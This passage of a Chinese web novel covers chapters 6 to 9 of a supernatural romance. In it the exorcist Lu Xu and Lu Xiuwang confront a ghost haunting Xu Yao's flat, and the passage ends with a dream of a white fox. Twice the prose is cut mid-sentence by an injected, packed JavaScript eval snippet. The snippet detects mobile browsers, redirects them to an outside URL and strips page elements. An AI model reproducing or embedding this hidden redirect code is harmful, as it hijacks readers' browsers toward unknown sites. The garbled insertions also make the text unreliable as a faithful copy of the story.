“我每天回去,保持门窗锁闭,床头也开着小灯,虽然还是会有点害怕,但至少能睡着。” 她顿了顿,声音开始发抖: “但是前几天,事情急转直下。” 许瑶深深呼吸了一口,平复了一下情绪。 “我感觉……那个东西一直在我屋子里。”许瑶打了一个寒颤,“它没再从门缝出去。我能感觉到,它就在房间里,四处走动,可能……它就在我旁边!” “前天晚上,我躺在床上,明明很困,但就是睡不着。然后突然……“她咬了咬嘴唇,“突然就动不了了。” 陆修望好奇地问: “鬼压床?” “对……应该是。”许瑶说,“我整个人都僵住了,想动动不了,想喊喊不出来,然后我就闻到了一股味道……” “什么味道?” “说不清楚……就是一股淡淡的臭味。”她皱着眉努力回忆,“像是……污泥和水混在一起的味道。” 陆叙和陆修望对视了一眼。 陆修望了然——这就是陆叙念叨的鬼的臭味。 “还有声音。”许瑶继续说,“窸窸窣窣的声音,就在我耳朵旁边。很近,像是……像是有什么东西贴着我的脸。” “然后我就感觉到了。” “感觉到什么?”陆修望来了兴趣。 “有什么东西过来了,然后就是水滴。”许瑶咬着牙,尽量让自己的声音保持平静,“粘稠的水滴,滴在我脸上,像口水一样,黏糊糊的,还有点腥气……” 她用手背擦了擦脸,像是那些水滴还在一样。 “越来越多,我能感觉到它们顺着我的脸颊往下流,流到脖子上,流到枕头上……我想挣扎,想擦掉,但我动不了!到后来连呼吸都开始困难!” 她的呼吸变得急促起来:“我都不知道过了多久,我只知道那些水一直在滴,我特别痛苦,但挣扎不了……然后我莫名其妙想起买法器那天师傅给我看的几种桃木剑。” 许瑶闭上眼睛,眼泪终于顺着脸颊流下来。 “过了没一会,我突然就能动了,我赶忙摸了摸自己的脸,什么都没有。” “只是幻觉,你别太害怕。”陆叙安慰道。 许瑶抹了抹眼泪:“但我明明感觉到了,那些黏糊糊的水,还有那股淡淡的臭味……” “我当时怕得不行,就给你打了电话。” 陆叙沉默了几秒,像是在思考。 “那个风铃,”他问,“你怎么处理的?” 许瑶愣了一下:“因为我想问清楚风铃的事,就和卖法器的师傅提了一嘴,他给了我一个盒子,让我按照他的指示封存起来。” 陆叙皱了皱眉,按理说封起来就更不会出问题了,到底是怎么回事? “现在它还在你屋里吗?” 许瑶点点头:“我当时太害怕了,只想赶紧离开,什么都没拿……” 陆修望开口:“我让人去取。” “不用。”陆叙站起来,“我得自己去一趟。” 他把陆修望拉到门外,语气难得严肃:“小陆,你能不能帮我照看她一会,这件事有古怪,我得去她房间里再看看。” “我都不认识她,我留在这干嘛,我陪你去。” “那……” “我安排人过来守着她,有什么要求你说就是了。” 陆叙点了点头:“没什么特殊的要求,但如果今晚我还处理不了这件事的话,最好是两个人轮流看着她,她不能睡太久。” 陆叙转身往屋里走,陆修望跟了上去,问:“很严重?” “嗯。”陆叙的表情凝重,“那个风铃不只是聚阴那么简单。它可能是某种媒介,把那东西引过来了。” “鬼?” “对。” 7. 第 7 章 陆修望打了几个电话,安排了一男一女,都是陆家的人,做事靠谱,八字很硬。 三人先行找了一家酒店等待,陆叙守着许瑶睡了一会,把她带来的法器布置好,又在门外贴了个不会引人注目的小符,房间四角也放上了蜡烛。 许瑶安稳睡了一觉,她醒来时,陆修望安排的人也到了,还带上了陆叙交代的一些药材。 陆叙见到他们,简单交代了一些注意事项:“不要让她一个人待着,不要让她一次性睡太久,也不要让她单独进卫生间。如果她说看见了什么,或者听见了什么,立刻给我打电话。” 说完,他从包里掏出一个小铃铛和一包茶叶。 “如果她睡得不安分,就用这东西把她唤醒。”陆叙把铃铛递给那两人,“这茶,配上那几味中药,用袋子包好,晚上十一点以后戴在身上,不仅是她,你们最好也戴上。” 两人点点头,接过东西。 陆叙又指了指房间四角的蜡烛:“如果发现什么不对劲的,你们按顺时针依次点燃蜡烛即可。” 陆叙又看向许瑶:“你跟着他们,别太害怕,这里很安全,我处理完就回来。” 许瑶点了点头,拉住陆叙的袖子:“你自己小心,注意安全。” 陆叙冲她安抚地笑了笑,这才转身往外走,陆修望冷哼一声跟了上去。 两人随便吃了点饭就火急火燎上了车,司机往小区开,现在已经六点多,再回工作室拿工具已经来不及了,反正有陆修望这个天然掩体跟着,这一趟也不会出什么大问题,先去看看情况再说。 陆叙靠在座位上,闭着眼休息,过了一会儿,他突然开口: “其实你没必要跟着我去的,你们这种身份的人,最好还是避开污秽之地,以免坏了家里生意。” 陆修望侧过头看他:“这有啥?你不是说我百邪不侵吗?” “也对,我差点忘了,你是灵异爱好者嘛,你肯定也想亲身经历一下这些事。”陆叙了然地看了一眼陆修望,“跟着我不会有事,但如果是其他人邀请你参加这种灵异活动,你最好别轻易答应。” 陆修望:“……” 他真的不知道这人怎么总爱给自己安这个奇怪的人设。明明之前就说过了,他只是听陆叙讲故事有一点好奇而已,哪来的什么爱好者,什么灵异活动。 “我是怕你死里面。”陆修望没好气地说。 陆叙睁开眼,笑嘻嘻地看着他:“我就知道你担心我,你们这个年纪的男生,像你这样有同理心的不多了。继续保持,虽有隐疾,但也不至于当一辈子童子。” 陆修望:“……” 他觉得自己就不应该接茬,每次接一句都要被陆叙气死。 陆叙似乎很满意陆修望吃瘪的表情,心情不错地哼起了歌。 一个小时后,两人站在许瑶家门口,陆修望观察着这里的环境,小区院子里人声嘈杂,看起来很热闹,楼道里也敞亮干净,不像有什么问题的样子。 “我在门外等着你?有没有什么需要我做的?” “你不想进去看看?” 陆修望愣了一下:“我进去不会影响你操作吗?” “你不会影响已经存在的东西。”陆叙解释,“那些脏东西不能近你身,不能上你身,也不能影响你的气场,但你没练过,你的存在改变不了什么。” “那我进去有什么用?” “壮胆啊。”陆叙很直白,“而且万一出什么意外,你在旁边我也安全点。” 陆修望挑了挑眉:“所以你是把我当人形护身符?” “可以这么理解。”陆叙笑了一下,“不过你放心,我不会让你白干活的。这次算你帮忙,回头请你吃饭。” “不用。” “那不行,欠人情我不习惯。”陆叙说,“就这么定了。” 陆修望没再说话,他看着陆叙的侧脸,对方的表情比平时严肃了一些,眉头微微皱着,眼神也沉了下来。 虽然嘴上还在开玩笑,但陆修望看得出来,陆叙其实很紧张。 或者说,很谨慎。 门开了,一股阴冷的气息扑面而来。 陆叙站在门口,没有马上进去。他皱着眉,鼻子微微抽动了一下。 陆修望跟在后面:“怎么了?” “……没事。”陆叙走进屋里,打开了客厅的灯。 明亮的灯光驱散不了屋内的怪异,陆叙慢慢转了一圈,表情越来越凝重,屋里还剩下几件零散的法器,位置都不对。 他走到卧室门口,门是开着的,内部气场非常混乱。 陆修望也走过去往里看,卧室很小,一张单人床,一个衣柜,一张书桌,许瑶走得匆忙,床头小灯还亮着,被子也凌乱地堆着。 陆叙皱着眉走进卧室,环顾四周,床头柜上摆着几张黄色的符纸,上面画得满满当当,是镇煞安眠的,窗台上有两张,衣柜顶上有三张,都是不同的功能。 陆叙蹲下身,又从床底又拉出几张符纸。 陆修望凑过去看:“许瑶怎么买了这么多符?” 陆叙没回答,只是把那些符纸翻过来看了看。 “不全是她买的,但位置全错了,”他说,“符放错位置就会失去效用,法器也不能随便摆,要按照方位、五行、气场来摆,这样乱摆,不仅起不到驱邪的作用,反而会破坏房间的风水。” 他又找出几张符,递给陆修望,那些符纸上什么都没画,就是空白的黄纸。 陆叙站起来:“法器店只会卖成品给客户,特别是许瑶这种一窍不通的。” 他看向房间,眼神变得复杂: “有人进过这个房间,巧妙的改变了法器位置,破坏了风水,还放了这些空白符,十有八九就是想害许瑶。” 陆修望握着那几张空白符:“她看起来年纪轻轻的,怎么就和人结下这么大的仇了?” “这倒不一定,也有可能像你家一样,是老一辈的恩怨,具体的明天得找她问清楚。”陆叙补充,“现在只能确定,害她这人懂行,或者背后有人指点。” 陆叙把符放回原位,回到客厅,从抽屉里取出那个装着风铃的盒子,打开盖子放桌上。 关上灯,在客厅中央点上那几支仅剩的蜡烛。 陆修望好奇地问:“真会有鬼吗?” 陆叙告诉他:“先等着吧,时间还没到,通道还没形成。” 俩人你一言我一语聊了会天,时间很快过了零点,屋内更冷了,陆修望被冷得一哆嗦,转头一看,陆叙的动作也突然顿了一下。 陆修望问他:“你怎么了?” “……没事。”陆叙的声音有点紧。 但陆修望看得很清楚,陆叙的手臂上起了一层细密的鸡皮疙瘩。 陆修望观察着陆叙,陆叙不是像他那样被冻的,他明显是发现了什么。 “你……” 陆叙突然抬起手,示意他别出声,一阵窸窸窣窣的声音在屋内响起,很轻微,就那么一秒,很快听不到了。 陆叙声音疑惑:“这栋楼又死人了,有人发丧,把这些玩意都引过来了。” 陆修望皱起眉:“你怎么知道?” “你听不到,是纸扎的声音,”陆叙简短地解释,“纸衣服见过吧,许瑶说的类似塑料袋被风吹动的声音,就是丧葬品摩擦空气的声音。” “一般孤魂野鬼,没人安葬没人烧纸,会被别人的贡品吸引过来,我上次来的时候没听到。” “大多数撞鬼或者遭遇鬼压床的人,如果留神听,都会听到这种声音,这不是实体物件发出的声音,是地下那玩意带着贡品走动的声音。” 又过了几分钟,陆叙突然站起来,往陆修望身边靠了靠。 “你站中间点。”陆叙说。 “怎么了?” “让你站中间点。”陆叙抓着陆修望的袖子,把他拉到房间中央站在蜡烛旁,“那些东西不肯现身,我在你旁边转悠看看。” 陆修望被他拉着走,有点好笑:“你这是?” “借你的阳气。”陆叙承认,“你站在这儿,那些东西不敢太靠近我。” “我这个护身符这么快就起作用了?” “对,”陆叙理所当然,“这就是你入行的第一项考验。” 陆修望笑了一声,倒也没拒绝,就站在那儿任由他拉着。 陆叙围着他转悠,时不时看看天花板,或者伸手摸摸墙壁。每次走远一点,很快又会回到陆修望身边。 “来了。”陆叙突然低声说。 “什么来了?” “阴气,”陆叙安排,“往我这边靠靠。” 他几乎是贴着陆修望的后背站着,整个人都躲在陆修望的保护范围里。 陆修望能感觉到陆叙的呼吸有些急促,还有对方抓着自己的衣服下摆的手指在逐渐收紧。 “你不是干这行的吗?”陆修望忍不住笑了,“怎么怕成这样?” “我怕个屁!”陆叙冷哼一声,“这是感应到了脏东西,身体本能的反应,你懂什么?” “那你怎么还抓着我衣服?” “……抓你一下不行吗?”陆叙说,“又不会破你童子身,你计较这么多干嘛?” 陆修望又生气又好笑,这种场合开玩笑怼回去显然不太合适,他没再说话,也就是此刻,他突然觉得房间里安安静静的,有些怪异。 陆叙眉头始终紧紧皱着,他从一开始只是抓着陆修望的衣服,到后来直接拽着陆修望的胳膊,再到最后几乎整个人都靠在陆修望背上。 “妈的……”陆叙咬着牙,“这味道……快把我臭死了……” “什么味道?”陆修望还是什么都闻不到。 “腐烂的臭味,尸体泡在臭水沟里几个月的那种味道……”陆叙的声音像是强忍着恶心,“而且就在我鼻子前面绕……陆修望,你能不能靠近我一点?” “我已经很挨着你了。” “那你……”陆叙犹豫了一下,“算了,你转个身。” “你又要干嘛?” 陆修望无奈转过身,和陆叙面对面站着,陆叙深吸一口气,伸手直接抱住了陆修望,靠进他怀里。 “你——”陆修望愣了一秒。 “别动,我有点被影响了。”陆叙的声音闷闷的,“你阳气最强的地方在胸口,离近点效果好。” 陆修望:“……” 他低头看着抱着自己的陆叙,对方把脸埋在他胸口,手心贴着自己的背。 平时那么嘴硬的一个人,现在似乎是害怕,还这么依赖着他,说实话,挺好玩的,还有点可爱。 “行吧,”陆修望抬手环住陆叙的背,“那你抱着吧。” “……谢了。” 时钟跳到三点十六的瞬间,陆叙面前的蜡烛灭了。 没有风,没有任何征兆,火苗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099170|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么突然熄灭了。 下一秒,陆叙整个人猛地往后仰,嘴里吐出一句:“操!” 陆修望眼疾手快地搂住他的腰,把人拉回来。 “你怎么了?!” 陆叙心脏跳得很快,但因为被陆修望紧紧抱着,那东西似乎没能碰到他。 “有鬼吹灯,而且那东西过来了。”陆叙低声骂了一句,“黑色的一团,还没完全——” 话没说完,他整个人猛地僵住了。 它打的像出现了。 不再是黑影,没有预兆,那张脸几乎是直接贴上来的。 太近了,近到陆叙根本来不及看清整体轮廓,只能看见一双被挤出眼眶的眼睛,然后是乌黑肿胀的脸庞,它贴着陆叙的脸,嘴角缓慢地向上拉,像是在确认陆叙是不是看见他了。 这是恐吓,专门冲他来的,陆叙整个人僵住,凉意从脚踝往上爬,他知道这东西在试探,只要他退一步,只要他慌乱,它就会顺着那点漏洞影响陆叙的神智,击垮他的心理防线。 陆修望在他旁边,什么都没看到。只是觉得陆叙突然不对劲,手心冰凉,像是被人迎面泼了盆冷水,一语不发,整个人僵在他怀里,连呼吸都停了一瞬。 “你怎么了?”陆修望赶忙把人抱紧了一些。 那东西的脸动了一下,然后它开口了,声音贴近陆叙耳朵,很清楚地吐出了两个字,是人类听不懂的语言,音节伴随着潮湿的水汽声,同时还有刺耳的摩擦声。 见陆叙毫无反应,他开始模仿陆修望的话:“你怎么了?” 声音贴着耳朵传来,带着明显的恶意和恐吓。 陆叙想说话,发现自己发不出声音。喉咙像是被什么掐住了,下一瞬,那张脸猛地逼近,在陆叙眼前渗出黑黄色的尸水,皮肤开始脱落,幻象几乎要贴进陆叙的皮肤里,冷意顺着鼻梁灌进脑子,意识开始发空。 陆修望搂紧陆叙的背,陆叙没说话,但他的反应已经说明了一切——这人正在被什么东西影响。 他拍了拍陆叙的脸颊:“别走神。” 声音不大,却很平稳,那种现实感把陆叙从那股抽离里硬拉了一把。 就是这一下,陆叙脑子里突然闪过一个断裂的片段,不是完整的记忆,是以前听过、记不全的东西,旧咒残句,不是给他这种师出无门的人用的。 但现在没有别的办法。 陆叙顺着那点被拽回来的意识,硬把气稳住。他没再管眼前那张脸,只是低下头对着空气,嘴里念念有词。 声音像是从喉咙里挤出来的: “法脉在上,弟子不在名册,无师可证,无印可呈,今……,借祖本旧令。” “祖炁未散,旧令尚存。上承祖法,下请二师。” 陆修望愣了一下,他从没听过陆叙用这种语气说话,不是平日里和他开玩笑那种吊儿郎当,也不是他认真时那种严肃冷静的声音,而是一种很古老、很沉重的腔调,不太像是陆叙本人在说话。 贴在陆叙脸前的那东西第一次停滞住了。 陆叙抬眼直视着黑色的虚空,除了第一个肿胀的尸体,其余黑色的雾状物体也想靠近,发出嗡嗡声,试图影响面前这两位不速之客。 陆叙稳住身形,继续念着那篇残损的祖本二师咒,语调缓慢,但讲出来的话陆修望却听不太懂了。 “旧令残…,借……令。” “名不可…,身不…近。” “只请行令,不请…身。” “……” 空气开始变重,一种比恶鬼更沉重的气场,把屋内扭曲的灵体强行拉回了原位。 陆修望甚至都能感觉到房间里的气场变了,那种让陆叙说不出话的东西,似乎被什么压制住了。 那个黑影开始被莫名的力量拽住往后退,很慢,很不甘心,它挣扎着还想冲上前。 奇怪的鬼鸣声还在屋内萦绕,逐渐减弱,但视线仍死死盯着陆叙,它没法再生出异像,泡发后的眼球和舌头松散地落在外面,看起来非常恶心,身体肿胀,又像蜡一样化开,滴落在黑暗中,这是他原本的死状。 最后一句落下时,陆叙声音几乎已经哑了。 “非其道者,退。” “非其界者,散。” “二师在令,止于此处。” 话音断掉的瞬间,冷意骤然抽离,那张脸像被人从空间中擦除,被他影响的气场恢复平稳。 陆修望莫名感觉屋里突然恢复了声音,远处有车经过,小区院子里有鸡叫的声音,走廊里还有宠物狗压抑的哼唧声,但刚刚屋外是否是安静的,他却没什么印象了。 他低头看向陆叙,陆叙靠在他怀里,整个人像是被抽空了力气,额头上全是汗,脸色苍白得吓人。 “结束了?那东西走了?”陆修望问。 陆叙没立刻回答,他喉咙疼得厉害,脑子里一片空白,只剩下一股难以言说的钝痛。 他缓了一会,抬起头,露出一个烦躁的表情: “妈的,暂时没事了,先走吧。” 陆叙声音哑得不行,陆修望皱起眉:“你还行?” “还行,”陆叙说,“扶我一把。” 陆修望搂着他,陆叙的腿有点软,几乎是被陆修望半拖着走的,他收起风铃,又走进卧室取走先前的那几张符,拿起自己的背包往门外走,陆修望怎么看怎么不得劲,干脆把人拦腰抱起来,快步走出屋子下了楼。 8. 第 8 章 陆修望抱着陆叙下了楼,天还没亮,月光洒在两人身上,夜风带着凉意。 陆叙靠在陆修望怀里,他能感觉到陆修望的心跳。沉稳,很有力量,一下一下在他耳边震动。 陆修望步伐很稳,但走得有点快,陆叙被颠得有点难受,忍不住开口:“慢点,我又不是要死了。” “闭嘴休息吧你。”陆修望没好气地说,但确实放慢了脚步。 陆叙抬眼看他,陆修望的下巴线条很好看,喉结上下滚动了一下,看起来有点紧张。 “不过,”陆叙突然开口,“你这突然搞这一出是在干嘛?” “我又干嘛了我?”陆修望面无表情。 “我是说,”陆叙顿了顿,真有点搞不懂,“为什么要抱我?” 陆修望脚步停了一下,他自己也不知道为什么会做这种事。明明陆叙只是腿软,但他看着对方那副虚弱的样子,不知道怎么回事,脑子一抽,就直接把人抱起来了。 “……怕你从楼梯上滚下去摔死。”陆修望想了想,给自己找了个理由。 “怎么感觉你把我当废物了?”陆叙语气里没什么抱怨的意思,反而带着点促狭,“不过男大就是好啊,有力气,说说,你平时都怎么健身的?有几块腹肌啊?” 陆修望莫名感觉耳根有点热:“我已经毕业了,还有,你能不能正经点?” “我很正经啊。”陆叙笑了一声,“我夸你呢,怎么还不高兴了?” 陆修望没再说话,加快脚步往小区外走。陆叙也没再开口,只是安静地窝在他怀里,努力平复身体的不适。 他突然意识到,自己好像从来没和人这么亲密过。 现在突然来这么一下,这种感觉还真有点奇怪。 陆修望把陆叙放进后座,动作意外地温柔,像是怕弄疼他,陆叙闭着眼缓了一会,陆修望买了些吃的,又拧开一瓶水递过去。 “先喝点水。” 陆叙接过来喝了几口,喉咙的刺痛感总算缓解了一些,也恢复了一点活力。 陆修望看着他,犹豫了几秒,还是问出了那个憋了一路的问题: “你刚才念的是什么?我怎么完全听不懂?” 陆叙睁开眼,转头看向他,嘴角勾起一个笑: “这东西很阴,你确定你想知道?” “想,你刚才的状态很不对劲,到底发生了什么?” 陆叙盯着他看了几秒,像是在思考要不要说实话。过了一会,他轻咳了一声,清了清嗓子,脸上露出一个严肃的表情。 陆修望也正了正身子,准备听他解释。 然后陆叙开口了: “急急那如律令是我的家乡。” 陆修望愣了一秒。 “世间万物他皆为我所用。” 陆修望这才意识到陆叙又在耍自己,他伸手捏住陆叙的嘴,气急败坏道:“你他妈怎么能阴成这样?!” 陆叙被捂住嘴,但眼睛却弯了起来,显然憋笑憋得很辛苦:“我提醒过你了,是你非要好奇。” 他的眼尾微微上挑,睫毛在灯光下投出一小片阴影,那双本来就带着点轻佻的眼睛此刻得意又促狭。 陆修望愣住,似乎有电流从脑海闪过,连带身体也麻了一下,陆叙趁机挣扎着把陆修望的手拉开:“你这什么表情?哈哈哈……太蠢了……” 陆修望闭了闭眼,告诉自己不要和病人吵闹,但视线却不自觉停留在陆叙脸上,这个人平时对着他不是发火就是嘲讽,此时此刻却是真实笑着的,眉眼都舒展开,那种平时吊儿郎当的神态此刻变得格外生动。脸上带着点少年气的轻快,那颗小痣放佛随着笑容晃动,整个人看起来鲜活得不行。 陆修望盯着他,再一次觉得心脏被什么东西轻轻撞了一下。 很奇怪的感觉,就是觉得心口有点发烫。 还有一种说不清道不明的熟悉感,就好像很久以前,他也见过这样的笑容。 但陆修望确信自己之前根本不认识陆叙,这种熟悉感从何而来? 注意到陆修望还在盯着自己看,陆叙偏了偏头,脸上的笑意收敛了一点。 “你怎么了?”他问,“干嘛一直盯着我看。” 陆修望回过神,赶紧移开视线:“没什么。” 陆叙盯着他看了几秒,看他没什么异常,表情恢复了平日里的懒散:“行了行了,不逗你了。” 他靠着椅背,语气认真:“刚才那个,是祖本二师咒,一般人最好别打听。刚刚那一段我都不能确定是哪一家的,只是偶然听到过。” 陆修望皱起眉:“什么什么咒?” 陆叙说:“祖本二师,不是你想的那种诅咒,是……怎么说呢,借力的。” “借谁的力?” “借本门的力,祖本是指本门本派。”陆叙解释,“这行有很多派别,五花八门,好坏都有,每个派别都有自己的祖师。” “二师就是祖师座下护法,也就是正儿八经可以帮助弟子的那一位,如果你是正经拜过师的弟子,遇到搞不定的东西,可以请本门二师帮忙镇压,这就是祖本二师咒。” “一般人没接触过这些,遇到脏东西,可以用流传比较广的雷法来解决。” “但刚刚情况凶险,必须得请本门护法,”他顿了顿,“这个残咒算我偷听来的,无法溯源,不知深浅,但好在还是起作用了。” 陆修望盯着他:“所以你现在这样,就是因为念了那个?” 陆叙摇了摇头:“这倒不是。先不说这个了,我得先回我工作室一趟,你也跟着我累了一天了,如果不介意的话,可以去我那里休息。” 陆叙的工作室在市区的一栋居民楼里,周围环境还算不错,陆修望跟着他上了楼,陆叙掏出钥匙开门时,手指还有些微微颤抖。 门推开,里面是个小小的一居室,客厅被改成了工作区,到处堆着书和资料,还有乱七八糟的游戏周边游戏设备,茶几上摆着两台电脑和几瓶未开盖的饮料,墙角还有几个没拆的快递箱子。虽然东西堆得乱七八糟,但能看出来是有在收拾的,很干净,还有一股淡淡的木香味。 “进来吧。”陆叙把背包扔在沙发上,转身看向陆修望,“你先去洗个澡,浴室在那边,新毛巾在架子上。” 见陆修望还在四处打量,他又补充:“这是我自己的房子,放心吧,很干净。” 他从卧室里拿出一套睡衣扔给陆修望:“不介意的话先穿我的。” 陆修望接过睡衣,去了浴室,热水冲刷在身上,他才终于放松下来。 陆叙的睡衣穿在他身上并不合身,布料贴在身上,能闻到一股淡淡的香味,不是洗衣液的味道,更像是陆叙身上的气息。 陆修望愣了一下,突然想起刚才把陆叙抱在怀里的感觉。那个人看起来身高腿长,比例很好,但抱起来的时候才发现他其实很瘦。 长点肉应该会更好看。 这个奇怪的念头突然涌现在脑海,陆修望自己都吓了一跳。他甩了甩头,把这些乱七八糟的想法赶出去,他不知道自己最近怎么了。 陆叙没看错,他确实不止天干全阳,藏干也是全阳,前二十年的人生一直顺风顺水风平浪静。 他虽然不是陆叙说的不行,但确实没有什么纯阳之人那种特别重的欲望,没有非要不可的东西,没有非做不可的事。 但这段时间和陆叙在一起,他却觉得陪他玩游戏,给他当护身符是一件理所应当的事,这种感觉很奇怪,和他觉得陆叙熟悉一样莫名。 走出浴室,客厅里点着几支蜡烛,陆叙坐在地板上,面前摆着那个风铃和几张符纸。他手里拿着一支毛笔,正在纸上写着什么,神情专注,眉头微微皱着。 陆修望走过去,在他旁边坐下。 烛光在陆叙脸上跳动,那张平时总是带着点轻佻的脸此刻显得格外认真。他低着头,睫毛在眼睑下投出一小片阴影,脖颈的线条在昏暗中若隐若现。 陆修望的视线不自觉地落在那截白皙的脖颈上,然后他注意到靠近锁骨的地方有一颗小痣。 和鼻梁上那颗一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099171|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,很小,但又格外明显。 陆修望盯着那颗痣看了几秒,突然觉得喉咙有点干。 这个位置的痣,看起来有点……不知道怎么形容。 “你洗澡这么快?”陆叙突然开口,把陆修望吓了一跳。 陆修望赶紧移开视线:“你在干嘛?” “封存。”陆叙手上动作未停,“这风铃和鬼画符得先处理了。” 他的手看起来拿笔都费劲,但一笔一画却很认真。 “你都虚成这样了,就不能先休息一下吗?”陆修望问。 陆叙摇了摇头:“这些东西不能放着不管。” 陆修望盯着他的侧脸,沉默了几秒:“为什么要这么拼?” “什么?” “我是说,刚才为什么要硬撑?”陆修望的声音有点紧,他突然想到陆叙之前和他说的那句“除了生死都是擦伤”。 陆修望补充:“总感觉那屋子里不好的东西差点就伤害到你了,你这是在拿命冒险。” 陆叙手上的动作顿了一下,抬头看向陆修望,眼里闪过一丝意外。 “你在担心我?” “我只是觉得没必要。”陆修望说,“你可以先离开,过后再找其他人帮忙。” 陆叙笑了一声:“我答应过许瑶包售后,既然接了这单,就要帮她把事情查清楚。” “就为了这个?” “对啊,不然呢?”陆叙又拿起风铃打量,“许瑶那情况你也看到了,不能拖,我一旦离开那间屋子,那些东西很可能会去找她。” 他的声音很随意,但陆修望能听出里面的坚定。 陆叙把刚才从许瑶屋里收走的符纸递给陆修望,上面布满弯曲的痕迹,有些像水痕,有些又像是烧焦的痕迹,密密麻麻爬满符纸。 “鬼画符。这些都是鬼留下的痕迹,日常生活中也会碰到,比如家里莫名出现的油脂、香灰、湿气,都有可能是鬼留下的,但通常只有一点点,不会引人注意。” 陆修望打量着这几张符,能看出许瑶家情况确实很严重,如果再拖一段时间,更多的鬼魂会聚集在那。 “那你自己的安全呢?”陆修望问。 “我心里有数,这种事情其实并不棘手,只是我的道具在你家老宅全用完了。”陆叙写完最后一笔,把乱七八糟看着瘆人的符纸用蜡烛烧毁,“你这个人形护身符只能保护我,不能帮助我,所以刚才看起来有点困难。” “那我怎样才能帮到你?” 陆叙把风铃放进木盒子,盖上盖子,又在盖子上贴了张符,“你就安心做你的大少爷吧,我的道具多得是,用不着你。” 陆修望被他这无所谓的语气噎住。 陆叙做完这些,整个人往后一靠,直接躺在了地板上。 “累死了。”他闭上眼,“我现在真的一点力气都没有了。” 烛光映在他脸上,脸色有些苍白,嘴唇也没什么血色。 陆修望问:“你念的那个咒,对身体有影响吗?” “可能会有。”陆叙睁开眼,转头看向他,“那个咒本来不是给我这种没师承的人用的,强行请来别门二师,可能会有后遗症,但目前看来并没有。” “没有?那你怎么看起来这么难受?” “不是什么大问题,除了你这种体质,普通人在磁场不对的环境里都会产生不好的生理反应,发烧,呕吐都是常见的。” 陆修望皱眉:“真没事?” “是没什么大事啊。”陆叙眨了眨眼,“你知道的,我经常熬夜打游戏,就是会有点虚,容易累,睡一觉就好了。” 没什么大事,那为什么许瑶长期住在那里并没有这么虚弱? 陆叙撑着地板坐起来,动作有点慢。陆修望下意识伸手扶了他一把。 “谢了。”陆叙站起来,指了指卧室的大床,“你可以睡沙发,如果不舒服,也可以和我睡卧室。” 陆修望有点想跟着他进去,想了想又觉得有些冒犯,最后躺在沙发上迷迷糊糊睡了过去。 9. 第 9 章 眼前是一片雾蒙蒙的白,陆修望站在一个完全陌生的地方,四周是茂密的树林,空气里弥漫着淡淡的草木香气,他正疑惑自己为什么会在这里,就看见前方的雾气里站着一只白色的狐狸。 狐狸不大,毛色雪白干净,蓬松柔软。它看了陆修望一眼,然后转身往树林里走了。 陆修望下意识地跟了上去。 白狐带着他穿过树林,走了很久,停在一座山前。山很高,山顶隐没在云层里,半山腰处似有一处院落,山脚下有一条小路,蜿蜒向上,两旁种着一些叫不出名字的树木。 白狐又回过头看了他一眼,眼睛里带着某种说不清的情绪,像是期待,又像是等待。 然后它转身,消失在雾气里。 陆修望想追上去,但脚步却怎么也迈不开。他盯着那座山,突然觉得心口一阵发紧,像是有什么很重要的东西就在那座山上。 “陆修望。” 有人在叫他的名字,声音很轻,像是从很远的地方传来。 “陆修望。” 声音越来越近,陆修望猛地睁开眼,声音消失了,脑海里还回荡着刚才梦境里的画面。 太清晰了。 清晰到他还记得白狐的模样,能记得那座山的轮廓,还有山脚下那条小路的模样。 陆修望闭着眼睛缓了好一阵,很怀疑是不是最近和陆叙相处太多,那人又长得像狐狸,所以才会做这个奇奇怪怪的梦。 直起身时陆修望听到了自己关节的声音,沙发对于他的身高有点太小了,身上多出来的两条毯子顺着身体滑落,他这才发现陆叙已经起了,正穿着睡衣坐在一旁,神情专注盯着电脑屏幕。 “你醒了?” 陆叙转头看向他,揉了揉眼睛,那个动作确实有点像小狐狸,眼睛眯起来,鼻子微微皱着,看起来困得不行。 陆修望突然很想笑。 “你在查什么?”他走到陆叙身边,看向电脑屏幕,屏幕上是一些新闻报道和论坛帖子,都和许瑶住的那个小区有关。 “查查那个小区。”陆叙又在喝那种颜色奇怪的水,声音有点刚睡醒的喑哑,“想看看以前有没有出过什么事。” 陆修望看着他那副困得睁不开眼的样子,忍不住说:“你想查什么直接告诉我,我让人去查,你这样得查到什么时候?” 陆叙愣了一下,转过头看向他。 “这件事和你没关系。”陆叙语气有点犹豫,“昨天你已经帮了我很多了。” “你说这些干嘛?你帮我的更多。”陆修望说。 陆叙盯着他看了一会,像是在判断他是不是真心的。过了几秒,他点了点头: “那就麻烦你了。” “说吧,想查什么?” “看看这个小区有没有出过人命案子。”陆叙说,“或者非正常死亡。” 陆修望掏出手机,打了几个电话。陆叙听着他简洁地下达指令,然后挂了电话。 “那个……谢谢啊。还有,不好意思,对你态度不是很友好,”陆叙突然开口,“其实你人还不错,之前是我先入为主了。 “小事而已。”陆修望也难得反思了一下自己的行为,“之前是我的态度有问题,我不太懂……怎样正确和人沟通。” 陆叙笑了一下:“那以后我们两个都不太会和人相处的人就是朋友了。” 陆修望咀嚼着“朋友”这个词,却看到陆叙站起来伸了个懒腰,走到窗边拉开窗帘,阳光瞬间洒进房间,陆叙眯起眼睛,侧脸的线条在光线下显得格外清晰。 陆修望看着他的背影,突然又想起了那个梦,那只白狐回头看他的时候,眼睛是琥珀色的。 